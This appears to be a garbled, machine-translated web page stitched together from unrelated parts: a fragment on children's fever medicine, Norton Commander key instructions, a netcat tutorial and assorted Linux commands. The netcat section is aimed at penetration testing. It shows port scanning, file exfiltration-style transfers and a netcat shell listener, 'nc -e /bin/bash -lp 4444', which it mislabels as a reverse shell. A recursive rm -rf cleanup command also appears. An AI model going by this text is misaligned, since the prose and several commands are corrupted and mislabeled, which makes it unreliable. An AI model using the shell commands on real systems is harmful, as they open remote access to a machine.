Netcat linux butt. Brown Unix utilities

Zharoznizhyuchі zasobi for children is recognized as a pediatrician. Allegedly, there are situations of inconspicuous help in case of fever, if the child is in need of giving it innocently. Todi fathers take on the versatility and consistency of fever-lowering drugs. Is it allowed to give children a breast? How can you beat the temperature of older children? What are the best ones?

Main commands NC can be used with functional keys F1 - F10. The list of ciches of commands for splaying in the lower information row of the screen.

a) Help, help, F1 (fig. 2, 3).

When a button is pressed on the screen, the following appears: short description The Norton Commander system is a guide that describes the function of the keys and commands.

b) koristuvach menu, Menu, F2 (fig. 4)

For the help of the command, the command on the screen is winked to the supplementary menu, which is not set by Koristuvach.

v) re-view in place of the file, View, F3 (Fig. 5).

Place the cursor on the file where you need to look over and press the F3 key. On the screen of the monitor you can hang in the place of a file, as you can click, read, or even scroll through the editing.

G) Editing text, Edit, F4 (fig. 6)

To add a file to the editor Norton Commander, you need to place the file with the cursor and press the F4 key. By editing the cursor movement, you can use the cursor control keys. The editor Norton Commander can work with a file that will not change 30 KB. For files with a large volume, a name editor is used, as well as adjustments in the Norton Commander system. To block the file from the original editor, enter the command to attack the attack using ALT + F4.

e) Copying files to directories, Copy, F5 (fig. 7, 8, 9)

To copy the file, it is necessary to have a directory, it must be located (dzherelo) and where it will be copied (priymach). At the passive panel it is necessary to display the catalog-acceptance, and in the active panel-catalog-dzherelo. In the rest, it is necessary to copy the file with the cursor F5. In the dialogue window, when the onslaught of the F5, you need to confirm the copy. If necessary, here it is possible to correct the copy-directory or to give it to the copy file.

When copying a group of files to a collection of files, it is necessary to indicate for which the cursor should be brought to the name required file and press on the Insert key. If the file is assigned, change the color and background. To know the signs in the file where the cursor is located, press the Insert key again. Copy to play with the onslaught of the F5 keys. The dialogue window needs to confirm the copy as a single file, as well as a group (all) files.

If you need to copy all the files to the directory, then for the sake of seeing, you need to complete the keyboard with the * little digital keyboard sign. For skasuvannya vidіlennya it is necessary to re-natisnut tsyu klavishu.

If it is necessary to copy all the files of the singing group, then for the sake of seeing it, hit the keyboard with a single sign + small digital keyboard and in the dialogue window vibrate sign the group and press Enter. І navpaki, for skasuvannya vіlennya you need to press the key with a single minus sign (-) and press the Enter key.


For an inverted view, it is necessary to press the keyboard with the sign * small digital keyboard.

Signs of groups that appear when copying, complete a lot. Some of the butts are shown in Table 1. Table 1

In the given statistics, I will look at the popular netcat utility and simple tricks for robots with her.


Netcat is a Unix utility that allows you to install TCP and UDP data, receive data and transmit data. Unimportant to their cornyness and simplicity, they do not know the ways of storing and undeservedly bypassing the side.


With the help of this utilization, it is possible to vibrate actions during the test for penetration. It can be pretty cool, if packets are installed on the attacks of machines (or to screw up the respect), є interchange (for example, IoT / Embedded attachments), etc.


You can use netcat to do this:

  • Skanuvati Porti;
  • Redirect port;
  • Viroblyati zbir banners of services;
  • Rumor port (bind for zvorotny z'єdnannya);
  • Zavanazhuvati і wikachuvati files;
  • Vivoditi vmist raw HTTP;
  • Create a mini-chat.

In addition, netcat can replace a part of unix utilities, so the tool can be used with a combine harvester for the production of quiet buildings.

practical butt

If there is a need to reconfigure the same host, the telnet should be service for displaying the host abo banner. Yak netcat can help us:

Reversion of the visibility on TCP port 12345

$ Nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ Nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Scanning TCP ports for additional netcat:

$ Nc -vnz 192.168.1.100 20-24

With such a scan, there will NOT be a connection to the port, but only a successful connection:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags = 82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Scanning UDP ports.

To scan UDP ports for additional nmap, you need root privileges. Yaksho їх dumb - in any case, you can help us using the netcat utility:


$ Nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

UDP packet forwarding

$ Echo -n "foo" | nc -u -w1 192.168.1.100 161

Tse can be buty cinnamon when interconnected with festooned outbuildings.

Receiving tribute on UDP port і visnovok otrimanikh tribute

$ Nc -u localhost 7777

For the first time, there will be no changes. If it is necessary to accept it at some time, then it is necessary to pick it up while true:


$ While true; do nc -u localhost 7777; done

File transfer. With the help of netcat, you can remove files like this, and transfer the host to the remote:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555> /tmp/1.txt

Netcact as a simple web server.

Netcat can serve as the simplest web server for displaying html pages.


$ While true; do nc -lp 8888< index.html; done

With the help of the browser behind the address: http: // host netcat: 8888 / index.html. For the standard web server port number 80, you will have to run nc with root privileges:


$ While true; do sudo nc -lp 80< test.html; done

Chat mіzh vuzli

At the first university (192.168.1.100):


$ Nc -lp 9000

At another university:


$ Nc 192.168.1.100 9000

Send all the symbols entered at the terminal at any university to be at the terminal at the terminal.

Reverse shell

With the help of netcat, you can organize a reverse shell:


nc -e / bin / bash -lp 4444

Now you can check out from a distant university:


$ Nc 192.168.1.100 4444

Don’t give up, as there’s dumb quiet of those instruments, it’s most often to hit the bulky ones, sometimes it’s possible to do it by hand.

Mayzhe in any Linux distribution є a little uncomfortable utility netcat, or simply nc... The program can open TCP sockets, either in server mode for checking the connection, or in client mode for connecting to the server. And to tell the truth, for netcat it is impossible to play a role, you can choose a server for a vikoristovuvati, or a client of a robot, only if you take the data from the stdin and send it to the address to the address.

Simplest butt victoriannya netcat - set up client-server chat. If I want a more primitive way of opening the chat, I will show it on purpose, how the utility is given. At the offensive butts, there will be a matisia on uvaz, which is a machine that will open the socket in ochikuvannya mode (server), with an IP address of 192.168.0.1. Now, open the chat server, which will be sent to TCP port 3333:

$ Nc -l 3333

Now we can connect from your computer to given server:

$ Nc 192.168.0.1 3333

In this case, the keyboard is in the role of stdin. All typing on the keyboard on the server side will be transferred to the terminal of the client, and navpaki.

file transfer

An absolutely analogous rank can be used by netcat for transferring files between two computers. For the help of the offensive command, you can open the server, which prepares the file before transferring:

You can edit the backup.iso file on your computer by the next rank:

$ Nc 192.168.0.1 3333> backup.iso

As you can see, netcat does not display any information about the transfer of data. With robots with great files, it can be difficult to complete. To solve the problem, you can use the progress viewer. V given application on the server side, in real time, information about the speed and communication of the transmitted data will be displayed:

$ Cat backup.iso | pv -b | nc -l 3333

By rank, you can show statistics on the sides of the client:

$ Nc 192.168.0.1 3333 | pv -b> backup.iso

іnshі butt

The netcat utility can also be used in good time to get the picture out of the way hard disk You can send it to an add-on server for a benefit:

$ Dd if = / dev / hdb5 | gzip -9 | nc -l 3333

And on the back machine, you can accept the images as follows:

$ Nc 192.168.0.1 3333 | pv -b> myhdb5partition.img.gz

If you need to update a group of files - for example, a set of configuration files - you can combine the netcat and the tar archive:

$ Tar -czf - / etc / | nc -l 3333

The defaults in the name of the file in the tar parameters are necessary in order to transfer the result of the archiving robot to stdin, which can then be redirected to netcat. It is possible to accept backup files on a remote machine in the same way as in the previous one:

$ Nc 192.168.0.1 3333 | pv -b> mybackup.tar.gz

Bezpeka

Obviously, with a similar vikorystanni netcat information will be transmitted along the lines in a vygіdny unencrypted viglyadі. For the transmission of uncritical data, it is generally acceptable, albeit when transmitting any valuable information, it is reasonable to use netcat in connection with an SSH tunnel.

Vikoristannya SSH tunnel maє dvi perevagi:

  1. The information is transmitted in the middle of the encrypted tunnel, so it’s well stolen;
  2. The server does not require any additional ports in the firewall configuration, some additional ports will be installed via SSH

On the server side, the file in netcat is displayed in the same way as described earlier:

$ Cat backup.iso | nc -l 3333

And the axis on the sides of the client connects to the netcat socket via an SSH tunnel:

$ Ssh -f -L 23333: 127.0.0.1: 3333 [Email protected] sleep 10; \ Nc 127.0.0.1 23333 | pv -b> backup.iso

Apparently, it’s the best way to connect to the SSH tunnel, but the end of the tunnel itself is so special that the automatic tunnel is curved when the transmission of data through the netcat is finished.

... and a portable port scanner

Neymovirno, ale netcat can still be victorious and for scanning all critical ports. The -z parameter is also useful for this:

$ Nc -z 192.168.0.1 80-90 Connection to 192.168.0.1 80 port succeeded!

In a given application, the netcat scanned the port range of 80-90 and, in some cases, the port 80 was displayed on the back machines.

On the side of man, according to the utilities of netcat, there are also a number of cinnamon delights and tsikavih applications victorian given by programs.

At the same time, we will have to fix the correct commands for Linux-based systems, with which we were informed by the mother.

See old files in Linux

# Find / var / log -mtime +60 -type f -exec rm -rf () \;

In this application, all files in / var / log will be recursively visible, the date of which is older than 60 days.

Yak zrobiti "telnet" for additional utility netcat (nc)

# Nc -v -w 5 10.200.7.2 -z 1414-1420

V: Dodatkova diagnostics (verbose)

W 5: timeout (in seconds)

10.200.7.2: host

Z 1414-1420: port range

# Nc -v -w 5 10.200.7.2 -z 1414-1420 nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress Connection to 10.200.7.2 1417 port succeeded! nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

# Nc -v -w 5 10.200.7.2 -z 1414-1420

nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress

Connection to 10.200.7.2 1417 port succeeded!

nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

How to install a Unix version of the system

For a cob of reason, it’s worth the OS class, the command is universal for all Unix systems:

# Uname -a

as we can see more:

Linux hostname.com 2.6.18-194.17.4.el5PAE # 1 SMP Mon Oct 25 16:35:27 EDT 2010 i686 i686 i386 GNU / Linux

FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE # 0: Wed Dec 5 20:00:38 MSK 2007 [Email protected]: / Usr / obj / usr / src / sys / GENERIC i386 abo AIX svcas07 3 4 000145364C00

What do we do if we become zrazumilo hto tse. In order to do this, you should specifically refer to the linux version:

# Cat / proc / version

Linux version 2.6.18-194.17.4.el5PAE ( [Email protected]) (Gcc version 4.1.2 20080704 (Red Hat 4.1.2-48)) # 1 SMP Mon Oct 25 16:35:27 EDT 2010

So now we see the linux family and kernel version.

The Red Hat family has a larger team report, in order to get familiar with the linux version:

# Cat / etc / redhat-release

CentOS release 5.6 (Final)

For a good reason, I would like to say that Red Hat can also be supplied with a complete set of utilities, as there is more detailed information about the linux version:

# Lsb_release -a

LSB Version :: core-3.1-ia32: core-3.1-noarch: graphics-3.1-ia32: graphics-3.1-noarch Distributor ID: CentOS Description: CentOS release 5.5 (Final) Release: 5.5 Codename: Final

Another option:

# Cat ls / etc / * (-, _) (release, version) 2> / dev / null | head -n 1

Yak marvel at hto "trimak" director

# Fuser -uc dir_name

fuser- utility for identifying processes, such as file values ​​or sockets. -c Similar to the -m option and stuck for POSIX consistency.

-m Yak name is the file on the mounted file system or special block attachments. A list of all processes is displayed, such as files on the file system. As the instructions are filed by a directory, name / is automatically added to the name /. і look out, be-yak file system, Yaka can be mounted on tsey catalog.

-u The process is brought to the skin PID іm'ya vlasnik.

Vvazhaєmo, skіlki mіstsya on disk loanє catalog

# Du -sh / var

Vivodimo in MB or GB.

Look at the file with the ability to scroll up and down

# Less file.txt

Rejecting whether to date from the system

# Date -d "row"

de row can be revenge values: "1 day ago", "1 week ago", "1 year ago".

Revision of the remaining n rows in the file

# Tail -n

Forward pereglyad last 20 rows: tail -20 access_log

Step by step for the file

# Tail -f access_log

The tail command with the f key allows you to follow the file: new rows (added to the file by the first process) are automatically displayed on the screen in real time. It is especially handy for stitching behind magazines.

Change all java processes

# Ps -ef | grep java

Manually vikoristovuvati for displaying all processes of the server of additional data.

Robot with the access.log of the HTTP server

# Head -10 access.2014.08.14.log | cut -d "" -f 1,8,10 | sort | uniq

Showing the first 10 rows from the access.2014.08.14.log log, sorting and enabling duplicates, in the format "ip_client / domain_name_client, URL, HTTP-code".

# Cat access.2014.08.14.log | cut -d "" -f 1,8,10 | sort | uniq> access_result.txt

It can also be added to the file C: \ access_result.txt.

Robot Instructions inNortonCommander

To start the NC system in command line DOS type the NC command or click the bear button on the NC pictogram on the working table of the computer. To complete the robotics from NC, press the keyboard [ F10] ... In the dialogue window, the vibrati will say "So" in the context of the system's input, "Ні" - in the first display. Vibir of the option to display the display with the cursor control keys on the functional keys and the onset of the onslaught of the keys [ Enter] ... At the lower part of the screen there is a DOS command row, you can enter different commands, which can be used for NC controls. The very bottom row of the screen reveals the row of the cue, denotes the sign of the main "hot" keys, which are sent to the NC commands (and DOS).

For the launch of NC on the screen, there are two panels - left and right. At the upper part of the skin panels in a small rectangular window, a new path is indicated to the stream file or to the directory. That panel, in which there is a rectangular switch - the cursor, is called active. To switch from panel to panel, use the key ... I can see the top row on the panel and images “…” tse means that you will be in catalysis with the name, we will mean at the upper part of the panel. For the robots with the panels, the command will be victorious:

[ Ctrl] + [ F1] Arrive / show liv panel

[ Ctrl] + [ F2] Arrive / show the right panel

[ Ctrl] + [ U] Remember panels with mice

[ Ctrl] + [ O] Arrive / show offense panels

[ Ctrl] + [ P] Arrive / show not active panel

To change the logical name of the disk on the left panel [ Alt] + [ F1] , In the dialogue window, vibrate behind the auxiliary key for cursor control, you will need a disk from the proponated names, press the key [ Enter] ... For the right panel analogy [ Alt] + [ F2] .

To go to the directory of the video on the active panel and on the keyboard [ Enter] ... To go to the catalog of the highest level on the active panel, see the row “…” and press the key [ Enter] .

For robots with catalogs, ask for the command:

[ F7] - open directory... At the dialogue window, submit a new catalog;

[ F8] - view directory... In the dialogue window, the dialogue is visible or skasuvati is visible to the onslaught of the keys Esc.

For robots with files, the following commands will be victorious:

[ Shift] + [ F4] - open file... At the dialogue window, set a new file (if you don’t forget to add the extension). In order for the file to be set, in the working space of the screen, type in the file. Exit the file with the command [ Ctrl] + [ Z]. To save the file, press the keys [ F2] ... Enter the keyboard editing mode [ F10 ] .

[ F4] - editing of a previously opened document... At the same time, in the dialogue window, it is necessary to set the edited file. When the robot is in the mode of editing in the open space, the screen in the lower part of the screen shows a row of indications for the signs of "hot" keys in the mode of editing.

[ Shift] + [ F2] - save the file with new names.

[ F3] - look over into the file... To see the file in front of the panel.

[ F5] - copy the file... All operations with files and directories can be accessed from the windows of both panels. To copy the file on the inactive panel, set the directory, where the file will be copied, go to the Danish directory. On the active panel, copies of the file and keyboards [ F5] ... To confirm the copy on the keyboard [ Enter] , For skasuvannya - .

[ F6] - transfer / rename file... The operation is displayed similarly to copying. To move the file on the inactive panel, set the directory, where the file will be placed, go to the Danish directory. On the active panel, you can see the file and click on the file [ F6] ... To rename a file in the dialog box, set a new file by adding it through the icon ” \ ” at the vkazіvtsі way. At the same time, it is necessary to remember that the file can be seen from a colossal place when the file is moved.

[ F9] - go to the menuNC.

Group operations on files

Operations copying, moving, visible can be viewed over the decilcom files in one hour. For all of them, you need to understand what you saw on the panel and pressed the keyboard [ Insert] ... At the same time, the files are displayed with rectangles of a contrasting color. For the nobility of seeing the meaning of the action, repeat. For the procedure for viewing files, an operation is required (copying, moving, viewing) to display over a group of files over one. Another way to see the file is to be displayed when the great siren keyboard is pressed ”+” on the functional keyboard Send the onslaught of the number of keys in the dialogue window next to the file or to specify the name of the files for the victorian masks in the name of: “ * ”, “ *.* ”, “ ? ”. For the knowledge of seeing files behind the additional key "-" on the functional keyboard of the evil.

Menu System NC

The menu system is intended for setting up the shell and setting up operations. Viklik rows of the menu [ F9] ... The menu system is stored in a menu row and a menu. Also, there are available steps: Rights of the File Commander Nalashtuvannya Liva ... command rights і liva Start vibrating mode for displaying files on the panel. All command options for left and right panels are identical. command files Designed for vikonannya operations over files and directories. Menu item command indications for vikonannya additional teams. command nalashtuvannya Designed to tune the NC center. Vibir of the command to display an additional key for the cursor control and the onset of the onslaught of the keys [ Enter].

Menu item Liva (Rights).

The menu, which is displayed, is given to the command to select the option to select the format of the displayed file on the screen. In mode short the panel displays only names of files and catalogs. In mode new To see the file or to the directory, for the file it should be given the size, for the directory - the row "subdirectory", the date and hour of the opening of the file and the directory. In mode wood It is possible to display the tree of directories of the streaming disk, and behind the additional cursor, quickly display the required file, moving along the tree. A group of options given to the menu item is available to indicate the order in which the files are displayed on the panel. With a large file, you can roztashovuvatisya in pre-order - mode without sorts , And can be ordered in singing order: im'ya - by name in alphabetical order, expansion - expanded alphabetically, hour - behind the date of the stemming, and the files with the remaining dates of the stemming are displayed in the list, Rosemir - for the size of the file in the order of the ubuvannya. The vibration of the row in accordance with the mode is activated by the cursor and the settings of the warrant behind the additional key "probil".

Menu item files .

Menu, which is given to the command to avenge the description of the sign of hot keys [ F1] - [ F8] , Tobto dії hot keys duplicated by menu commands. Nastupna opts_ya - Setting attributes. Attributes are installed only for files. The order of setting the attributes: on the panel, select the file with the cursor. Writing a keyboard [ F9] go to the NC menu and vibrate the item files installation attributes ... Pislya onslaught of clavis [ Enter] in the dialogue window there is a list of possible attributes: Tilki for reading, Archives, Prikhovani, System... Vibir of the row of the attribute to the file is displayed by the cursor and the settings of the warrant behind the additional key "probil". When a file with attributes Tilki for reading unfavorably modif_kuvati, only available for a glance. File with attributes appointing small rectangles appear on the panel (although the option is not set to the screen in the settings Show prikhovani files The file is not displayed on the panel). A group of commands is available to allow you to see files (analogue of the great ”+” ), Know the vision (analogue of the keyboard ” - ” on the functional keyboard), invertuvati view (analogue of the keyboard ” * ” on the functional keyboard).

Menu item command .

The menu, which is given to the command, allows you to open the menu of the corystuvach, to view the menu, to look at the history of commands, to be entered in the command row of DOS, and to take advantage of the additional capabilities of the NC shell.

Menu item Nalashtuvannya.

The menu, which is given to the command, allows you to set up the interface medium with a hand for the koristuvach rank. take revenge on the option nalashtuvannya editor that іnshі. When you select a row of the menu, Set up a set of dialog boxes, allow you to vibrate the number of dials on the screen, set a number of rows on the screen, etc. Dialogue window adjustment of the panel permission Show prikhovani files, Yakshcho was established as a forerunner (not to show). Setting the default options for the selected options will also be displayed with the cursor and key "Prob".

Zavdannya to laboratory robots

Get ready for the project - please, thank you!
Read also
Sberbank (in the same Oschadbank) Sberbank (in the same Oschadbank) Solution of license problems for Autocad Chi does not start autocad windows 7 Solution of license problems for Autocad Chi does not start autocad windows 7 Instructions for registering the PIN code of the CryptoPro, before the hour of signing up some documents - Instructions - AT Instructions for registering the PIN code of the CryptoPro, before the hour of signing up some documents - Instructions - AT "PEK-Torg"